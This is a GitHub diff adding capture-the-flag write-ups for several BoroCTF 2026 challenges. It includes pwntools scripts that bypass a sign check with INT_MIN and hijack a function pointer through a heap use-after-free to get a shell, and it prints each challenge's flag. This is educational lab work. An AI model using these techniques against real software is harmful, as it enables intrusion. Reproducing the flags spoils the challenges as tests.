Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
75 changes: 75 additions & 0 deletions 2026/BoroCTF/PWN (Binary Exploitation)/Coming Together/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
### Coming Together

> **Writeup Author:** kushaln3


| | |
|---|---|
| **Category** | PWN |
| **Points** | 100 |
| **Solves** | 417 |
| **Author** | Franklin |
| **Connection** | `nc thww9zyp6ygt.boroctf.com 25287` |
| **Challenge URL** | `https://boroctf.com/challenges#Coming%20Together-20` |

> **Challenge Description:** *"You have yours and I have mine. Together we have something larger than ourselves."*

> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/pwn/Together).

#### Initial Reconnaissance

First, I downloaded the binary:

```bash
wget https://github.com/jimmy20180130/ctf-writeup/raw/80bb517dc9207faed765d43f2c3a753cccf1ba6a/boroCTF%202026/Pwn/Coming%20Together/chal
```

Examining the file details and running sample inputs to observe the program's behavior:

![image](challenge_files/Pasted%20image%2020260622221435.png)

I also ran `ltrace` and `gdb` for further analysis:

![image](challenge_files/Pasted%20image%2020260622221730.png)

#### Key Observations

- `fgets(buffer, 12, stdin)` — input is limited to 11 characters (+ null terminator), so our input string length matters.
- `atoi` converts the string to a **signed int**.

#### Understanding the Vulnerability — Two's Complement

The program rejects negative numbers. However, `INT_MIN` (`-2147483648`) has a special property in two's complement representation: negating it results in itself (integer overflow). This can bypass the "no negatives" check.

#### Exploit Script

```python
from pwn import *

r = remote("thww9zyp6ygt.boroctf.com", 25287)

r.recvline()

r.sendline(b"-2147483648")

print(r.recvall())
```

#### Output

```
┌──(kush㉿LAPTOP-6HND8R6K)-[~/boroctf/PWN/coming_together]
└─$ python script.py
[+] Opening connection to thww9zyp6ygt.boroctf.com on port 25287: Done
[+] Receiving all data: Done (78B)
[*] Closed connection to thww9zyp6ygt.boroctf.com port 25287
b"No negatives!\nHuh? That's not supposed to happen.\nboroCTF{tw0s_c0mpl3men+_M3}\n"
```

#### Flag

```
boroCTF{tw0s_c0mpl3men+_M3}
```

---
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
67 changes: 67 additions & 0 deletions 2026/BoroCTF/PWN (Binary Exploitation)/Fast Reactions/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
### Fast Reactions

> **Writeup Author:** kushaln3


| | |
|---|---|
| **Category** | PWN |
| **Points** | 100 |
| **Solves** | 216 |
| **Author** | Franklin |
| **Connection** | `nc tnkemaq46125.boroctf.com 56354` |
| **Challenge URL** | `https://boroctf.com/challenges#Fast%20Reactions-18` |

> **Challenge Description:** A remote service that demands lightning-fast reflexes. Can you respond quickly enough?

> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/pwn/Fast%20Reactions).

#### Initial Reconnaissance

No files were provided — just a server address to connect to via netcat.

![image](challenge_files/Pasted%20image%2020260622214142.png)

Upon connecting, we are asked to enter a number of characters, with the required count displayed in hex (e.g., `0xcd`).

#### Writing the Exploit

Since this looked like a basic challenge, I decided to learn **pwntools** and write the solution from scratch:

```python
from pwn import *
context.log_level = 'debug'

r = remote('tnkemaq46125.boroctf.com', 56354)

lc = int([word for word in str(r.recvuntil('characters!')).split() if word.startswith('0x')][0], 16)

r.sendline('A'*lc)

r.recvall()
```

#### Output

```
┌──(kush㉿LAPTOP-6HND8R6K)-[~/boroctf]
└─$ /usr/bin/python /home/kush/boroctf/PWN/Fast_Reactions/script.py
[+] Opening connection to tnkemaq46125.boroctf.com on port 56354: Done
[DEBUG] Received 0x1e bytes:
b'Please enter 0xcd characters!\n'
[DEBUG] Sent 0xce bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[+] Receiving all data: Done (46B)
[DEBUG] Received 0x2d bytes:
b'Nice job! Flag: boroCTF{Hum@n1y_im7o5s!ble}\n'
b'\n'
[*] Closed connection to tnkemaq46125.boroctf.com port 56354
```

#### Flag

```
boroCTF{Hum@n1y_im7o5s!ble}
```

---
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
142 changes: 142 additions & 0 deletions 2026/BoroCTF/PWN (Binary Exploitation)/Mania/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,142 @@
### Mania

> **Writeup Author:** kushaln3


| | |
|---|---|
| **Category** | PWN |
| **Points** | 200 |

> **Challenge Description:** A menu-driven heap challenge with imaginary friends and real people. Can you exploit the memory management to gain a shell?

> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/pwn/Mania).

#### Initial Reconnaissance

I downloaded and extracted the challenge files:

```bash
wget https://github.com/jimmy20180130/ctf-writeup/raw/80bb517dc9207faed765d43f2c3a753cccf1ba6a/boroCTF%202026/Pwn/Mania/Mania.zip
```

Extracted files: `chal`, `Dockerfile`, `friends.c`, `ld-linux-x86-64.so.2`, `libc.so.6`, `run.sh`

#### Source Code Analysis

In the C source file, I identified the target function:

```c
void idealConversation() {
puts("Wow! You made a real connection!");
system("/bin/sh");
}
```

![image](challenge_files/Pasted%20image%2020260622231456.png)

#### Understanding the Struct Layout

Both structs are **72 bytes** — the same size, which is critical for the exploit:

```c
struct __attribute__((packed)) imaginaryFriend {
double rating; // 8 bytes
char title[32]; // 32 bytes
char special_ability[32]; // 32 bytes
}; // total = 72 bytes

struct __attribute__((packed)) realPerson {
char firstName[32]; // 32 bytes
char lastName[32]; // 32 bytes
void (*conversate)(); // 8 bytes (function pointer)
}; // total = 72 bytes
```

#### Identifying the Vulnerability — Use-After-Free (UAF)

The program's menu provides five options:

1. **Imagine friend** — `malloc` an `imaginaryFriend` and fill its fields.
2. **Forget friend** — `free` the `imaginaryFriend` pointer (`IF`).
3. **Meet person** — `malloc` a `realPerson`, fill name fields, set `conversate` to `realConversation`.
4. **Ghost person** — `free` the `realPerson` pointer (`RF`).
5. **Interact** — calls `RF->conversate()` if `RF` is not `NULL`.

**The bug:** After freeing an object (options 2 or 4), the pointer variable (`IF` or `RF`) is **not set to `NULL`**. The program retains the dangling pointer. If a new object of the same size is allocated, `malloc` will likely return the same memory chunk — but the old pointer still references it as a different type.

#### Exploit Strategy

1. **Meet person** → `RF = malloc(72)`, `RF->conversate = realConversation`
2. **Ghost person** → `free(RF)`, but `RF` still holds the freed chunk's address
3. **Imagine friend** → `IF = malloc(72)` reuses the same freed chunk. Writing into `IF->special_ability` overwrites bytes at the offset where `RF->conversate` is stored.
4. **Interact** → calls `RF->conversate()`, which now points to our injected address

#### Payload Building

The struct layouts differ, so we need to write the target address to the last 8 bytes of `special_ability` (which overlaps with `conversate` in the `realPerson` struct).

First, I found the address of `idealConversation`:

```bash
┌──(kush㉿LAPTOP-6HND8R6K)-[~/boroctf/PWN/mania]
└─$ objdump -d chal | grep idealConversation
0000000000401731 <idealConversation>:
```

#### Final Exploit

```python
from pwn import *

context.log_level = 'debug'
context.binary = './chal'

ideal_addr = 0x401731

r = remote("thww9zyp6ygt.boroctf.com", 44996)

def menu(opt):
r.recvuntil(b'> ')
r.sendline(str(opt).encode())

# Step 1: Meet a person (allocate realPerson)
menu(3)
r.recvuntil(b'Enter firstName:')
r.sendline(b'junk')
r.recvuntil(b'Enter lastName:')
r.sendline(b'junk')

# Step 2: Ghost person (free realPerson — dangling pointer)
menu(4)

# Step 3: Imagine friend (reuse freed chunk as imaginaryFriend)
menu(1)
r.recvuntil(b'Enter title:')
r.send(b'A'*31) # 31 A's, NO newline

# Overwrite the function pointer via special_ability field
r.recvuntil(b'Enter special ability:')
payload = b'B'*24 + p64(ideal_addr)[:7]
r.send(payload) # 31 bytes, NO newline

# Rating (clean up stdin)
r.recvuntil(b'Enter rating:')
r.sendline(b'1')

# Wait for confirmation and menu
r.recvuntil(b'(rating 1.0)!')
r.recvuntil(b'> ')

# Step 4: Interact — triggers the overwritten function pointer
r.sendline(b'5')
r.interactive()
```

This gives us a shell, which we use to `ls` and `cat flag.txt`.

#### Flag

```
boroCTF{hYp0M&nic_3xplO1taTio4}
```
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
27 changes: 27 additions & 0 deletions 2026/BoroCTF/PWN (Binary Exploitation)/Next Challenge/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
### Next Challenge

> **Writeup Author:** kushaln3


| | |
|---|---|
| **Category** | PWN |
| **Points** | 100 |

> **Challenge Description:** A straightforward netcat challenge — just connect and interact.

> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/pwn/Next%20Challenge).

#### Solution

This was a trivial challenge. Simply connect via `nc` and type `flag`:

![image](challenge_files/Pasted%20image%2020260622224838.png)

#### Flag

```
boroCTF{0nLinE_C@ts*}
```

---
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
38 changes: 38 additions & 0 deletions 2026/BoroCTF/Web Exploitation/Beyond the Homepage/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
### Beyond the Homepage

> **Writeup Author:** kushaln3


| | |
|---|---|
| **Category** | Web |
| **Points** | 100 |
| **Solves** | 667 |
| **Author** | Solarity |
| **Challenge URL** | `https://boroctf.com/challenges#Beyond%20the%20Homepage-11` |

> **Challenge Description:** A simple website greets you. But is there more beyond what meets the eye?

> **Deployment Note:** This challenge can be deployed and accessed from [here](https://github.com/boroCTF/boroCTF-2026-public/tree/main/Challenges/boroCTF-2025/web/Beyond%20the%20Homepage).

#### Initial Reconnaissance

On opening the site, we are presented with some text. I immediately opened the browser's Developer Tools and examined the source code and cookies.

![image](challenge_files/Pasted%20image%2020260622101325.png)

#### Discovery

The flag was hidden in an HTML comment within `index.html`:

```html
<!--boroCTF{d3v3l0peR_t001s}-->
```

#### Flag

```
boroCTF{d3v3l0peR_t001s}
```

---
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading